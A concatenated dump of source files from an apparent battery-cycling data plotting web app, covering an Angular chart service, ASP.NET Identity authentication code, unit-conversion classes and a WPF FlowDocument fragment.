environment.maxPointsPerSeries, fromCycle: null, toCycle: null, everyNthCycle: null, customCycleFilter: null, disableCharge: null, disableDischarge: null, threshold: null, minY: null, maxY: null, currentUoM: null, capacityUoM: null, timeUoM: null, powerUoM: null, energyUoM: null, resistanceUoM: null, isInitialized: false, normalizeBy: null, pointSize: null, xLineVisible: null, yLineVisible: null, legendShowen: legendVisible, xAxisText: null, yAxisText: [], chartTitle: null, axisRange: null, }; if (plotParameters) { parametersModel.pointSize = plotParameters.pointSize; parametersModel.isInitialized = plotParameters.isInitialized; parametersModel.xLineVisible = plotParameters.xLineVisible; parametersModel.yLineVisible = plotParameters.yLineVisible; if (plotParameters.xAxisText != "") { parametersModel.xAxisText = plotParameters.xAxisText; } if (plotParameters.chartTitle != "") { parametersModel.chartTitle = plotParameters.chartTitle; } if (plotParameters.yAxisText.length > 0) { parametersModel.yAxisText = plotParameters.yAxisText; } if (plotParameters.axisRange) { parametersModel.axisRange = plotParameters.axisRange; } } if (aggregationSettings) { parametersModel.simplification = aggregationSettings.algorithm; if (aggregationSettings.algorithm === AggregationType.None) { parametersModel.maxPointsPerSeries = null; } } if (cycleFilter) { parametersModel.fromCycle = cycleFilter.from; parametersModel.toCycle = cycleFilter.to; parametersModel.everyNthCycle = cycleFilter.everyNth; if (cycleFilter.custom) { parametersModel.customCycleFilter = encodeURIComponent(cycleFilter.custom); } parametersModel.disableCharge = cycleFilter.disableCharge; parametersModel.disableDischarge = cycleFilter.disableDischarge; parametersModel.threshold = cycleFilter.threshold; parametersModel.minY = cycleFilter.minY; parametersModel.maxY = cycleFilter.maxY; } if (uomSettings) { if (uomSettings.currentUoM) { parametersModel.currentUoM = uomSettings.currentUoM; } if (uomSettings.capacityUoM) { parametersModel.capacityUoM = uomSettings.capacityUoM; } if (uomSettings.timeUoM) { parametersModel.timeUoM = uomSettings.timeUoM; } if (uomSettings.powerUoM) { parametersModel.powerUoM = uomSettings.powerUoM; } if (uomSettings.energyUoM) { parametersModel.energyUoM = uomSettings.energyUoM; } if (uomSettings.resistanceUoM) { parametersModel.resistanceUoM = uomSettings.resistanceUoM; } if (uomSettings.normalizeBy) { parametersModel.normalizeBy = uomSettings.normalizeBy; } } return this.http.post<any>(url, { parametersModel: parametersModel }, { withCredentials: true }); } shareTemplate(objectIds: number[], email: string, plotType: number): Observable<any> { switch (plotType) { case -1: { const url = environment.serverBaseUrl + "api/shareTemplate"; const parametersModel = { objectIds: objectIds, email: email }; return this.http.post<any>(url, { parametersModel: parametersModel }, { withCredentials: true }); } case -2: { const url = environment.serverBaseUrl + "api/shareView"; const parametersModel = { objectIds: objectIds, email: email }; return this.http.post<any>(url, { parametersModel: parametersModel }, { withCredentials: true }); } default: { return null; } } } shareProject(objectIds: number[], email: string): Observable<any> { const url = environment.serverBaseUrl + "api/shareProject"; const parametersModel = { objectIds: objectIds, email: email }; return this.http.post<any>(url, { parametersModel: parametersModel }, { withCredentials: true }); } setDefaultParameters(): Observable<any> { const url = environment.serverBaseUrl + "api/setDefaultParameters"; const parametersModel = { maxCycles: environment.maxCycles, maxPointsPerSeries: environment.maxPointsPerSeries, fromCycle: null, toCycle: null, everyNthCycle: null, customCycleFilter: null, disableCharge: null, disableDischarge: null, threshold: null, minY: null, maxY: null, currentUoM: null, capacityUoM: null, timeUoM: null, powerUoM: null, energyUoM: null, resistanceUoM: null, isInitialized: true, simplification: 1, normalizeBy: null, pointSize: null, xLineVisible: null, yLineVisible: null, xAxisText: null, yAxisText: [], chartTitle: null }; return this.http.post<any>(url, { parametersModel: parametersModel }, { withCredentials: true }); } setStateOfCharge(projectIds: number[], stateOfCharge: StateOfCharge): Observable<Chart> { const url = this.makeSOCUrl(projectIds, stateOfCharge); return this.http.get<Chart>(url, { withCredentials: true }); } private makeSOCUrl(projectIds: number[], stateOfCharge: StateOfCharge): string { let url = environment.serverBaseUrl + "api/setStateOfCharge?"; for (const projectId of projectIds) { url += `&projectId=${projectId}`; } if (stateOfCharge) { if (stateOfCharge.chargeFrom) { url += `&chargeFrom=${stateOfCharge.chargeFrom}`; } if (stateOfCharge.chargeTo) { url += `&chargeTo=${stateOfCharge.chargeTo}`; } } return url; } private makeUrl(projectIds: number[], plotType: number): string { let url = environment.serverBaseUrl + "api/chart?plotType=" + plotType; for (const projectId of projectIds) { url += `&projectId=${projectId}`; } return url; } private makeExportUrl(projectIds: number[], plotType: number, cycleFilter: ChartFilter, aggregationSettings: AggregationSettings, uomSettings: ChartUoMSettings, pointSize: number = 1, templateIdValue?: string, stateOfCharge?: StateOfCharge, format?: string, useMaxCycles: boolean = true): string { let url = environment.serverBaseUrl + "api/exportchart?plotType=" + plotType; if (templateIdValue) { url += `&templateIdValue=${templateIdValue}`; } if (format) { url += `&format=${encodeURIComponent(format)}`; } for (const projectId of projectIds) { url += `&projectId=${projectId}`; } if (useMaxCycles && environment.maxCycles) { url += `&maxCycles=${environment.maxCycles}`; } if (aggregationSettings) { if (aggregationSettings.algorithm != AggregationType.None) { url += `&maxPointsPerSeries=${environment.maxPointsPerSeries}`; } } if (cycleFilter) { if (cycleFilter.from) { url += `&fromCycle=${cycleFilter.from}`; } if (cycleFilter.to) { url += `&toCycle=${cycleFilter.to}`; } if (cycleFilter.everyNth) { url += `&everyNthCycle=${cycleFilter.everyNth}`; } if (cycleFilter.custom) { url += `&customCycleFilter=${encodeURIComponent(cycleFilter.custom)}`; } if (cycleFilter.disableCharge) { url += `&disableCharge=${cycleFilter.disableCharge}`; } if (cycleFilter.disableDischarge) { url += `&disableDischarge=${cycleFilter.disableDischarge}`; } if (cycleFilter.threshold) { url += `&threshold=${cycleFilter.threshold}`; } if (cycleFilter.minY) { url += `&minY=${cycleFilter.minY}`; } if (cycleFilter.maxY) { url += `&maxY=${cycleFilter.maxY}`; } } if (uomSettings) { if (uomSettings.currentUoM) { url += `&currentUoM=${uomSettings.currentUoM}`; } if (uomSettings.capacityUoM) { url += `&capacityUoM=${uomSettings.capacityUoM}`; } if (uomSettings.timeUoM) { url += `&timeUoM=${uomSettings.timeUoM}`; } if (uomSettings.powerUoM) { url += `&powerUoM=${uomSettings.powerUoM}`; } if (uomSettings.energyUoM) { url += `&energyUoM=${uomSettings.energyUoM}`; } if (uomSettings.resistanceUoM) { url += `&resistanceUoM=${uomSettings.resistanceUoM}`; } if (uomSettings.normalizeBy) { url += `&normalizeBy=${uomSettings.normalizeBy}`; } } if (stateOfCharge) { if (stateOfCharge.chargeFrom) { url += `&chargeFrom=${stateOfCharge.chargeFrom}`; } if (stateOfCharge.chargeTo) { url += `&chargeTo=${stateOfCharge.chargeTo}`; } } url += `&pointSize=${pointSize}`; return url; } private makeByTemplateUrl(projectIds: number[], templateIdValue: string, format?: string): string { let url = environment.serverBaseUrl + "api/plots/" + templateIdValue + "?"; if (format) { url += `format=${encodeURIComponent(format)}&`; } for (const projectId of projectIds) { url += `projectId=${projectId}&`; } return url; } private makeByViewUrl(viewIdValue: number, format?: string): string { let url = `${environment.serverBaseUrl}api/views/${viewIdValue}`; if (format) { url += `&format=${encodeURIComponent(format)}`; } return url; } } <file_sep>/WebApp/Services/ApplicationUserManager.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using DataLayer; using Microsoft.AspNet.Identity; using Microsoft.AspNet.Identity.Owin; using Microsoft.Owin.Security.DataProtection; namespace WebApp.Services { public class ApplicationUserManager : UserManager<AppUser> { public ApplicationUserManager(IUserStore<AppUser> store, IDataProtectionProvider dataProtectionProvider) : base(store) { var manager = this; // Configure validation logic for usernames manager.UserValidator = new UserValidator<AppUser>(manager) { AllowOnlyAlphanumericUserNames = false, RequireUniqueEmail = true }; // Configure validation logic for passwords manager.PasswordValidator = new PasswordValidator { RequiredLength = 8, RequireNonLetterOrDigit = true, RequireDigit = true, RequireLowercase = false, RequireUppercase = false }; // Configure user lockout defaults manager.UserLockoutEnabledByDefault = true; manager.DefaultAccountLockoutTimeSpan = TimeSpan.FromMinutes(5); manager.MaxFailedAccessAttemptsBeforeLockout = 5; // Register two factor authentication providers. This application uses Phone and Emails as a step of receiving a code for verifying the user // You can write your own provider and plug it in here. manager.RegisterTwoFactorProvider("Phone Code", new PhoneNumberTokenProvider<AppUser> { MessageFormat = "Your security code is {0}" }); manager.RegisterTwoFactorProvider("Email Code", new EmailTokenProvider<AppUser> { Subject = "Security Code", BodyFormat = "Your security code is {0}" }); manager.EmailService = new EmailService(); manager.UserTokenProvider = new DataProtectorTokenProvider<AppUser>(dataProtectionProvider.Create("ASP.NET Identity")); } } } <file_sep>/WebApp/Controllers/Api/AuthController.cs using System; using System.Linq; using System.Security.Claims; using System.Threading.Tasks; using System.Web; using System.Web.Http; using DataLayer; using Microsoft.AspNet.Identity.Owin; using WebApp.Models.Auth; using WebApp.Services; namespace WebApp.Controllers.Api { public class AuthController : ApiController { #region Private fields private readonly ApplicationUserManager _userManager; private readonly ApplicationSignInManager _signInManager; #endregion #region Constructor public AuthController(ApplicationUserManager userManager, ApplicationSignInManager signInManager) { _userManager = userManager; _signInManager = signInManager; } #endregion #region Public methods [Route("api/auth/login")] [HttpPost] public async Task<IHttpActionResult> Login(LoginModel model) { var result = await _signInManager.PasswordSignInAsync(model.Username ?? string.Empty, model.Password ?? string.Empty, model.RememberMe, true); if (result == SignInStatus.Failure) { var user = await _userManager.FindByEmailAsync(model.Username ?? string.Empty); if (user == null) return AuthFailed(); result = await _signInManager.PasswordSignInAsync(user.UserName, model.Password ?? string.Empty, model.RememberMe, true); } switch (result) { case SignInStatus.Success: var userId = GetCurrentUserId(); if (userId != null && !await _userManager.IsEmailConfirmedAsync(userId)) { await SendConfirmEmail(userId); return AuthFailed("E-mail confirmation required.\r\nThe confirmation token has been resent to your email account"); } return AuthSucceeded(); case SignInStatus.LockedOut: return AuthFailed("Account is temporarily locked"); default: return AuthFailed(); } } [Route("api/auth/logoff")] [HttpPost] public IHttpActionResult Logoff() { _signInManager.SignOut(); return Ok(); } [Route("api/auth/signup")] [HttpPost] public async Task<IHttpActionResult> Signup(SignupModel model) { var user = new AppUser { UserName = model.Username ?? string.Empty, Email = model.Email ?? string.Empty }; var result = await _userManager.CreateAsync(user, model.Password ?? string.Empty); if (!result.Succeeded) return AuthFailed(result.Errors.ToArray()); await SendConfirmEmail(user.Id); return Succeded(); } [Route("api/auth/confirm")] [HttpGet] public async Task<IHttpActionResult> ConfirmEmail(string id, string code) { var result = await _userManager.ConfirmEmailAsync(id, code); var url = new Uri(Request.RequestUri, result.Succeeded ? "/confirm-success" : "/confirm-failure").ToString(); return Redirect(url); } [Route("api/auth/acquire-password-reset")] [HttpPost] public async Task<IHttpActionResult> AcquirePasswordReset(AcquirePasswordResetModel model) { var username = model.Username ?? string.Empty; var user = await _userManager.FindByNameAsync(username) ?? await _userManager.FindByEmailAsync(username); if (user == null || !await _userManager.IsEmailConfirmedAsync(user.Id)) return AuthFailed("User not found"); await SendResetPasswordEmail(user.Id); return Succeded(); } [Route("api/auth/reset-password")] [HttpPost] public async Task<IHttpActionResult> ResetPassword(ResetPasswordModel model) { try { var result = await _userManager.ResetPasswordAsync(model.Id ?? string.Empty, model.Code ?? string.Empty, model.Password ?? string.Empty); if (!result.Succeeded) return AuthFailed(result.Errors.ToArray()); return Succeded(); } catch (InvalidOperationException ex) when (ex.Message == "UserId not found.") { return AuthFailed("Password reset token has already expired"); } } #endregion #region Private methods private string GetCurrentUserId() { return _signInManager.AuthenticationManager.AuthenticationResponseGrant.Identity.Claims.First(c => c.Type == ClaimTypes.NameIdentifier)?.Value; } private IHttpActionResult Succeded() { return Ok(new AuthResponse {Success = true}); } private IHttpActionResult AuthSucceeded() { return Ok(new AuthResponse { Success = true, Message = null, Username = _signInManager.AuthenticationManager.AuthenticationResponseGrant.Identity.Name }); } private IHttpActionResult AuthFailed(params string[] errors) { var message = errors.Length == 0 ? "Invalid username and/or password" : string.Join("<br>", errors); return Ok(new AuthResponse { Success = false, Message = message, Username = null }); } public async Task SendConfirmEmail(string userId) { var code = await _userManager.GenerateEmailConfirmationTokenAsync(userId); var url = new Uri(Request.RequestUri, "/api/auth/confirm").ToString(); url += "?id=" + HttpUtility.UrlEncode(userId); url += "&code=" + HttpUtility.UrlEncode(code); var body = $"Please confirm your account by clicking <a href=\"{url}\">here</a>"; await _userManager.SendEmailAsync(userId, "dqdv.org: Confirm your account", body); } public async Task SendResetPasswordEmail(string userId) { var code = await _userManager.GeneratePasswordResetTokenAsync(userId); var url = new Uri(Request.RequestUri, "/reset-password").ToString(); url += "?id=" + HttpUtility.UrlEncode(userId); url += "&code=" + HttpUtility.UrlEncode(code); var body = $"Please reset your password by clicking <a href=\"{url}\">here</a>"; await _userManager.SendEmailAsync(userId, "dqdv.org: Password reset", body); } #endregion } } <file_sep>/Plotting/UnitTransformation/TimeTransformation.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; namespace Plotting.UnitTransformation { public interface IUnitMeasurement { string UnitName { get; } string UnitCode { get; } Func<double?, double?> Apply { get; } bool IsAllowNormalization { get; } } public class TimeSecondsMeasurement : IUnitMeasurement { public string UnitName => "s"; public string UnitCode => "TIME_Seconds"; public Func<double?, double?> Apply => value => value * 1.0; public bool IsAllowNormalization => false; /// <summary>Returns a string that represents the current object.</summary> /// <returns>A string that represents the current object.</returns> public override string ToString() { return $"Seconds ({UnitName})"; } } public class TimeMinutesMeasurement : IUnitMeasurement { public string UnitName => "m"; public string UnitCode => "TIME_Minutes"; public Func<double?, double?> Apply => value => value * (1d / 60d); public bool IsAllowNormalization => false; /// <summary>Returns a string that represents the current object.</summary> /// <returns>A string that represents the current object.</returns> public override string ToString() { return $"Minutes ({UnitName})"; } } public class TimeHoursMeasurement : IUnitMeasurement { public string UnitName => "h"; public string UnitCode => "TIME_Hours"; public Func<double?, double?> Apply => value => value * (1d / 3600d); public bool IsAllowNormalization => false; /// <summary>Returns a string that represents the current object.</summary> /// <returns>A string that represents the current object.</returns> public override string ToString() { return $"Hours ({UnitName})"; } } public class TimeDaysMeasurement : IUnitMeasurement { public string UnitName => "d"; public string UnitCode => "TIME_Days"; public Func<double?, double?> Apply => value => value * (1d / 3600d * 24); public bool IsAllowNormalization => false; /// <summary>Returns a string that represents the current object.</summary> /// <returns>A string that represents the current object.</returns> public override string ToString() { return $"Days ({UnitName})"; } } public class CurrentAmperMeasurement : IUnitMeasurement { public string UnitName => "A"; public string UnitCode => $"CURRENT_{UnitName}"; public bool IsAllowNormalization => true; public Func<double?, double?> Apply => value => value * 0.001; } public class CurrentMilliamperMeasurement : IUnitMeasurement { public string UnitName => "mA"; public string UnitCode => $"CURRENT_{UnitName}"; public bool IsAllowNormalization => true; public Func<double?, double?> Apply => value => value * 1.0; } public class CurrentMicroamperMeasurement : IUnitMeasurement { public string UnitName => "μA"; public string UnitCode => $"CURRENT_uA"; public bool IsAllowNormalization => true; public Func<double?, double?> Apply => value => value * 1000.0; } public class CapacityAmperHoursMeasurement : IUnitMeasurement { public string UnitName => "Ah"; public string UnitCode => $"CAPACITY_{UnitName}"; public bool IsAllowNormalization => true; public Func<double?, double?> Apply => value => value * 0.001; } public class CapacityMilliamperHoursMeasurement : IUnitMeasurement { public string UnitName => "mAh"; public string UnitCode => $"CAPACITY_{UnitName}"; public bool IsAllowNormalization => true; public Func<double?, double?> Apply => value => value * 1.0; } public class TemperatureCelciusMeasurement : IUnitMeasurement { public string UnitName => "C"; public string UnitCode => "TEMPERATURE_Celcius"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1.0; } public class VoltageMeasurement : IUnitMeasurement { public string UnitName => "V"; public string UnitCode => $"VOLTAGE_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1.0; } public class VoltageMillivoltMeasurement : IUnitMeasurement { public string UnitName => "mV"; public string UnitCode => $"VOLTAGE_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1000.0; } public class VoltageMicrovoltMeasurement : IUnitMeasurement { public string UnitName => "μV"; public string UnitCode => $"VOLTAGE_uV"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1000.0 * 1000.0; } public class EnergyKiloWattHoursMeasurement : IUnitMeasurement { public string UnitName => "kWh"; public string UnitCode => $"ENERGY_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 0.001; } public class EnergyWattHoursMeasurement : IUnitMeasurement { public string UnitName => "Wh"; public string UnitCode => $"ENERGY_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1.0; } public class PowerKiloWattMeasurement : IUnitMeasurement { public string UnitName => "kW"; public string UnitCode => $"POWER_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 0.001; } public class PowerWattMeasurement : IUnitMeasurement { public string UnitName => "W"; public string UnitCode => $"POWER_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1.0; } public class ResistanceOhmMeasurement : IUnitMeasurement { public string UnitName => "Ohm"; public string UnitCode => $"RESISTANCE_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1.0; } public class ResistanceMilliOhmMeasurement : IUnitMeasurement { public string UnitName => "mOhm"; public string UnitCode => $"RESISTANCE_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1000.0; } public class ResistanceKilloOhmMeasurement : IUnitMeasurement { public string UnitName => "kOhm"; public string UnitCode => $"RESISTANCE_{UnitName}"; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 0.001; } public class NullMeasurement : IUnitMeasurement { public string UnitName => string.Empty; public string UnitCode => string.Empty; public bool IsAllowNormalization => false; public Func<double?, double?> Apply => value => value * 1.0; } public class UnitMeasurementProvider { private readonly Dictionary<string, IUnitMeasurement> _timeTranformation = new Dictionary<string, IUnitMeasurement>(); private readonly Dictionary<string, IUnitMeasurement> _currentTranformation = new Dictionary<string, IUnitMeasurement>(); private readonly Dictionary<string, IUnitMeasurement> _capacityTranformation = new Dictionary<string, IUnitMeasurement>(); private readonly Dictionary<string, IUnitMeasurement> _unitTranformation = new Dictionary<string, IUnitMeasurement>(); public UnitMeasurementProvider() { Register(_unitTranformation, new TimeSecondsMeasurement()); Register(_unitTranformation, new TimeMinutesMeasurement()); Register(_unitTranformation, new TimeHoursMeasurement()); Register(_unitTranformation, new TimeDaysMeasurement()); Register(_unitTranformation, new CurrentAmperMeasurement()); Register(_unitTranformation, new CurrentMilliamperMeasurement()); Register(_unitTranformation, new CurrentMicroamperMeasurement()); Register(_unitTranformation, new CapacityAmperHoursMeasurement()); Register(_unitTranformation, new CapacityMilliamperHoursMeasurement()); Register(_unitTranformation, new TemperatureCelciusMeasurement()); Register(_unitTranformation, new PowerWattMeasurement()); Register(_unitTranformation, new PowerKiloWattMeasurement()); Register(_unitTranformation, new EnergyKiloWattHoursMeasurement()); Register(_unitTranformation, new EnergyWattHoursMeasurement()); Register(_unitTranformation, new VoltageMeasurement()); Register(_unitTranformation, new VoltageMillivoltMeasurement()); Register(_unitTranformation, new VoltageMicrovoltMeasurement()); Register(_unitTranformation, new ResistanceOhmMeasurement()); Register(_unitTranformation, new ResistanceMilliOhmMeasurement()); Register(_unitTranformation, new ResistanceKilloOhmMeasurement()); } public IUnitMeasurement Unit(string unitCode) { _unitTranformation.TryGetValue(unitCode, out var unit); return unit ?? new NullMeasurement(); } public IUnitMeasurement TimeTransformation(string unitCode) { _timeTranformation.TryGetValue(unitCode, out var unitTransformation); return unitTransformation; } public IUnitMeasurement CurrentTransformation(string unitCode) { _currentTranformation.TryGetValue(unitCode, out var unitTransformation); return unitTransformation; } public IUnitMeasurement CapacityTransformation(string unitCode) { _capacityTranformation.TryGetValue(unitCode, out var unitTransformation); return unitTransformation; } private void Register(IDictionary<string, IUnitMeasurement> container, IUnitMeasurement unitMeasurement) { container[unitMeasurement.UnitCode] = unitMeasurement; } } } <file_sep>/WebApp/Services/ChartSettingProvider.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.Linq; using DataLayer; using Dqdv.Types.Plot; using Newtonsoft.Json; using WebApp.Interfaces; namespace WebApp.Services { public class ChartSettingProvider { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private readonly ICacheProvider _cacheProvider; private readonly DqdvContext _db; //////////////////////////////////////////////////////////// // Constructors //////////////////////////////////////////////////////////// public ChartSettingProvider(DqdvContext db, ICacheProvider cacheProvider) { _cacheProvider = cacheProvider; _db = db; } //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// public PlotParameters GetSettings(string userId) { return (PlotParameters)_cacheProvider.Get($"PlotParameters_{userId}") ?? PlotParameters.Default; } public void SetSettings(string userId, PlotParameters parameters) { _cacheProvider.Set($"PlotParameters_{userId}", parameters); } public void ClearSettings(string userId) { _cacheProvider.Remove($"PlotParameters_{userId}"); } public PlotParameters MergeWithGlobal(string userId, PlotParameters origiParameters) { var globalPreferences = _db.UserPreferences.Find(userId) ?? AppUserPreferences.Default; var deepCopy = JsonConvert.DeserializeObject<PlotParameters>(JsonConvert.SerializeObject(origiParameters)); deepCopy.LegendShowen = deepCopy.LegendShowen ?? globalPreferences.ChartPreferences.LegendShowen; deepCopy.FontFamilyName = string.IsNullOrEmpty(deepCopy.FontFamilyName) ? globalPreferences.ChartPreferences.FontFamilyName : deepCopy.FontFamilyName; deepCopy.FontSize = deepCopy.FontSize <= 0 ? globalPreferences.ChartPreferences.FontSize : deepCopy.FontSize; deepCopy.PointSize = deepCopy.PointSize ?? globalPreferences.ChartPreferences.PointSize; deepCopy.xLineVisible = deepCopy.xLineVisible ?? globalPreferences.ChartPreferences.XLineVisible; deepCopy.yLineVisible = deepCopy.yLineVisible ?? globalPreferences.ChartPreferences.YLineVisible; deepCopy.LegendShowen = deepCopy.LegendShowen ?? globalPreferences.ChartPreferences.LegendShowen; deepCopy.ChartPalette = globalPreferences.ChartPreferences.PaletteColors.ToList(); return deepCopy; } public PlotParameters MergePlotParameters(PlotParameters origiParameters, PlotParameters mergeParameters) { var deepCopy = JsonConvert.DeserializeObject<PlotParameters>(JsonConvert.SerializeObject(origiParameters)); deepCopy.LegendShowen = mergeParameters.LegendShowen; deepCopy.FontFamilyName = string.IsNullOrEmpty(mergeParameters.FontFamilyName) ? deepCopy.FontFamilyName : mergeParameters.FontFamilyName; deepCopy.FontSize = mergeParameters.FontSize <= 0 ? deepCopy.FontSize : mergeParameters.FontSize; deepCopy.PointSize = mergeParameters.PointSize ?? deepCopy.PointSize ; deepCopy.xLineVisible = mergeParameters.xLineVisible ?? deepCopy.xLineVisible; deepCopy.yLineVisible = mergeParameters.yLineVisible ?? deepCopy.yLineVisible; deepCopy.LegendShowen = mergeParameters.LegendShowen ?? deepCopy.LegendShowen; deepCopy.ChartPalette = mergeParameters.ChartPalette; deepCopy.NormalizeBy = mergeParameters.NormalizeBy ?? deepCopy.NormalizeBy; deepCopy.CurrentUoM = mergeParameters.CurrentUoM ?? deepCopy.CurrentUoM; deepCopy.TimeUoM = mergeParameters.TimeUoM ?? deepCopy.TimeUoM; deepCopy.PowerUoM = mergeParameters.PowerUoM ?? deepCopy.PowerUoM; deepCopy.EnergyUoM = mergeParameters.EnergyUoM ?? deepCopy.EnergyUoM; deepCopy.ResistanceUoM = mergeParameters.ResistanceUoM ?? deepCopy.ResistanceUoM; deepCopy.CapacityUoM = mergeParameters.CapacityUoM ?? deepCopy.CapacityUoM; deepCopy.VoltageUoM = mergeParameters.VoltageUoM ?? deepCopy.VoltageUoM; deepCopy.EnergyUoM = mergeParameters.EnergyUoM ?? deepCopy.EnergyUoM; deepCopy.DisableDischarge = mergeParameters.DisableDischarge ?? deepCopy.DisableDischarge; deepCopy.DisableCharge = mergeParameters.DisableCharge ?? deepCopy.DisableCharge; deepCopy.FromCycle = mergeParameters.FromCycle ?? deepCopy.FromCycle; deepCopy.ToCycle = mergeParameters.ToCycle ?? deepCopy.ToCycle; deepCopy.EveryNthCycle = mergeParameters.EveryNthCycle ?? deepCopy.EveryNthCycle; deepCopy.xAxisText = mergeParameters.xAxisText ?? deepCopy.xAxisText; deepCopy.yAxisText = mergeParameters.yAxisText.Any() ? mergeParameters.yAxisText : deepCopy.yAxisText; deepCopy.ChartTitle = mergeParameters.ChartTitle ?? deepCopy.ChartTitle; return deepCopy; } } }
4b942ce933b0c513a4bb86b7cbeb5a2a3cf2c691
[ "Markdown", "C#", "TypeScript" ]
59
TypeScript
dqdv/DqDv
b7cf466e8f1b53ad32e723021cd656f9766d8207
05ccf735df6d41f70f3500265fe236cd04fb2933
refs/heads/master
<file_sep>using CSAc4yClass.Class; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; namespace CSFlowDocumentTry1 { /// <summary> /// Interaction logic for MainWindow.xaml /// </summary> public partial class MainWindow : Window { public Dictionary<string, Ac4yClass> Ac4yClassDictionary = new Dictionary<string, Ac4yClass>(); public List<Ac4yClass> ac4YClasses = new List<Ac4yClass>(); public int i = 1; public MainWindow() { InitializeComponent(); // uiListViewFlowDocument.Items.Add(uiListViewItem); // uiListViewFlowDocument.Items.Add(uiListViewItem); } private void AddTextBox(object subject, RoutedEventArgs e) { WrapPanel uiMainWrapPanel = new WrapPanel() { Orientation = Orientation.Vertical, Width = 750, HorizontalAlignment = HorizontalAlignment.Center }; WrapPanel uiInnerWrapPanel1 = new WrapPanel() { Orientation = Orientation.Horizontal, Margin = new Thickness() { Top = 12, Left = 25 } }; uiInnerWrapPanel1.Children.Add( new Label() { Content = "Name: ", Width = 100 }); uiInnerWrapPanel1.Children.Add( new TextBox() { Name = "uiTextBoxName", Width = 250, Height = 25 }); uiInnerWrapPanel1.Children.Add( new Label() { Content = "Ancestor: ", Width = 100 }); uiInnerWrapPanel1.Children.Add( new TextBox() { Name = "uiTextBoxAncestor", Width = 250, Height = 25 }); WrapPanel uiInnerWrapPanel2 = new WrapPanel() { Orientation = Orientation.Horizontal, Margin = new Thickness() { Top = 12, Left = 25 } }; uiInnerWrapPanel2.Children.Add( new Label() { Content = "GUID: ", Width = 100 }); uiInnerWrapPanel2.Children.Add( new TextBox() { Name = "uiTextBoxGUID", Width = 250, Height = 25 }); uiInnerWrapPanel2.Children.Add( new Label() { Content = "Namespace: ", Width = 100 }); uiInnerWrapPanel2.Children.Add( new TextBox() { Name = "uiTextBoxNamespace", Width = 250, Height = 25 }); BlockUIContainer uiContainer = new BlockUIContainer() { Child = uiMainWrapPanel, BorderBrush = new SolidColorBrush(Color.FromRgb(0,0,0)), BorderThickness = new Thickness() { Bottom = 1, Left = 1, Top = 1, Right = 1 } }; Section sectionFromCode = new Section() { Background = new 